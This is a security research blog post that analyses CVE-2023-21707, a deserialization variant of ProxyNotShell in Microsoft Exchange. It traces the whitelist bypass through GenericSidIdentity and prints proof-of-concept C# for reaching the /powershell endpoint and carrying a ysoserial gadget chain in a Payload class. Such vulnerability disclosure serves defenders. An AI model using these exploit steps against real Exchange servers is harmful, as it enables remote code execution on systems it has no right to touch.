While analyzing CVE-2022-41082, also known as ProxyNotShell, we discovered this vulnerability which we have detailed in this blog. However, for a comprehensive understanding, we highly recommend reading the thorough analysis written by team ZDI.

To aid in understanding, we present a visual representation of CVE-2022-41082 below.

The sink of ProxyNotShell:

internal object ReadOneObject(out string streamName)
    Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
    if (null != targetTypeForDeserialization)
        Exception ex = null;
            object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]

At [2], if targetTypeForDeserialization != null, it will continue to call LanguagePrimitives.ConvertTo() to convert the original obj to the Type specified by targetTypeForDeserialization.

The LanguagePrimitives.ConvertTo() method was previously cited in the PSObject gadget section of the paper titled “Friday the 13th JSON Attacks”. The paper also discusses several possible methods of exploiting this method:

  • Call constructor with 1 argument
  • Call setter
  • Call static method “Parse(string)[method 3]
  • Call custom Conversion [method 4]

The vulnerability CVE-2022-41082 involves the use of LanguagePrimitives.ConvertTo() twice with different approaches.

  • The first usage utilizes [method 4] to reconstruct the XamlReader type. To achieve this, the custom conversion method Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject() is employed, which uses BinaryFormatter with a whitelist to deserialize data. If the deserialize type happens to be a System.Type, the target type would be System.UnitySerializationHolder which is also on the whitelist.

  • At the second time, the process employs [method 3] to initiate a call to the static method XamlReader.Parse(string), which subsequently triggers a Remote Code Execution (RCE) vulnerability. It is important to note that XamlReader is the deserialized Type obtained from step 1.

The latest patch for CVE-2022-41082 introduces a new UnitySerializationHolderSurrogateSelector that verifies the target Type during the process of deserializing System.UnitySerializationHolder. Consequently, the exploitation of this vulnerability to invoke Type.Parse(string) is no longer possible. This fix effectively mitigates the risk of malicious actors exploiting the vulnerability to execute arbitrary code.

The new variant

Take a look deeper at the [method 3] of LanguagePrimitives.ConvertTo(), Exchange has implemented a custom PowerShell Type Conversion: SerializationTypeConverter, method SerializationTypeConverter.ConvertFrom() will directly call to DeserializeObject [3]:

public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
    return this.DeserializeObject(sourceValue, destinationType); //[3]
private object DeserializeObject(object sourceValue, Type destinationType)
    if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
        throw ex;
    using (MemoryStream memoryStream = new MemoryStream(array))
        AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
            int tickCount = Environment.TickCount;
            obj = this.Deserialize(memoryStream); //[5]
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
    PSObject psobject = sourceValue as PSObject;
    object value = psobject.Properties["SerializationData"].Value; //[6]
    if (!(value is byte[]))
        error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
        return false;
    stringValue = psobject.ToString();
    serializationData = value as byte[];
internal object Deserialize(MemoryStream stream)
    bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
    return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]

In DeserializeObject, method CanConvert() will get the SerializationData property from the original PSObject as a byte array as indicated at [6], then directly pass into SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize() as indicated at [7].

In ProxyNotShell’s payload, SerializationData is represented like this:


Deserialization to Remote Code Execution (RCE) can be prevented by using the whitelist SerializationTypeConverter.allowedTypes, which contains around 1200 allowed types.

Upon closer inspection of this whitelist, a new variant of 41082 was discovered and named CVE-2023-21707. One of the allowed types in the whitelist is Microsoft.Exchange.Security.Authentication.GenericSidIdentity. By utilizing this whitelist and including the specific allowed types, the risk of Deserialization to RCE can be significantly reduced.

The inheritance tree for GenericSidIdentity:

            System.Security.Claims.ClaimsIdentity <---

If you have previous experience with .NET Deserialization, you would be able to quickly recognize the ClaimsIdentity class. This class is included in the gadget chain of the well-known tool

Microsoft.Exchange.Security.Authentication.GenericSidIdentity is a subclass of ClaimsIdentity. During deserialization, the ClaimsIdentity object is reconstructed first, followed by a call to ClaimsIdentity.OnDeserializedMethod().

This presents an opportunity for exploitation, as we can abuse this behavior to trigger RCE during the second deserialization phase.

Payload delivery

Despite the persistence of the underlying bug, the implementation of the ProxyNotShell patch has effectively neutralized the SSRF vulnerability previously present at the autodiscover entrypoint. Consequently, the previous method of sending payloads is no longer viable.

Following several days of investigation, I have discovered that it is still possible to access the /powershell entrypoint remotely, albeit with a restriction that limits access exclusively to the HTTP protocol:

To do it programmatically, we can use WSManConnectionInfo and RunspaceFactory.CreateRunspace() to establish a powershell session to target Exchange server:

string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "", credentials);

wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;

this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);

After that, we can create a PowerShell Session with created runspace and invoke command. To deliver the payload, we can pass it as an argument like this:

object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
    powerShell.Runspace = this.runspace;

One important aspect to note is that the PowerShell.AddArgument(object) function can accept any object as an argument.

This step is akin to the process of crafting the payload in ProxyNotShell, but instead of manual crafting, we carry it out programmatically. By utilizing this function, we can dynamically add arguments to the PowerShell command, which allows for greater flexibility and customization in our approach.

Content of Payload Class:

using System;
public class Payload: Exception
    private byte[] _serializationData;

    public byte[] SerializationData
        get => _serializationData;
        set => _serializationData = value;

    public Payload(byte[] serializationData)
        SerializationData = serializationData;

To ensure proper functionality, it is required that this particular class inherits the System.Exception type, as explained in detail in this article. Additionally, a public property named SerializationData must be included in the class, which will serve as a container for the bypass gadgetchain GenericSidIdentity.

To implement this, we generate a GenericSidIdentity object and set its m_serializedClaims field value to the actual RCE gadgetchain, which can be created through the use of ysoserial.

While there are various methods to accomplish this, in my proof of concept, I opted to create a new class that inherits from GenericIdentity:

And use a Custom Serialization Binder to rewrite Class Name during the serialization:

In order to execute the exploit successfully, certain prerequisites need to be fulfilled:

  • The attacker’s machine should have access to port 80 of the targeted Exchange server.
  • The PowerShell entry point’s authentication method must be Kerberos (as opposed to NTLM), requiring access to port 88 of the Domain Controller while running the exploit.

It is important to note that this exploit is not viable for an internet-facing Exchange server due to its technical limitations.

The following images details the successful exploitation of code including proof of execution and information about the resulting call stack.

Thanks for reading!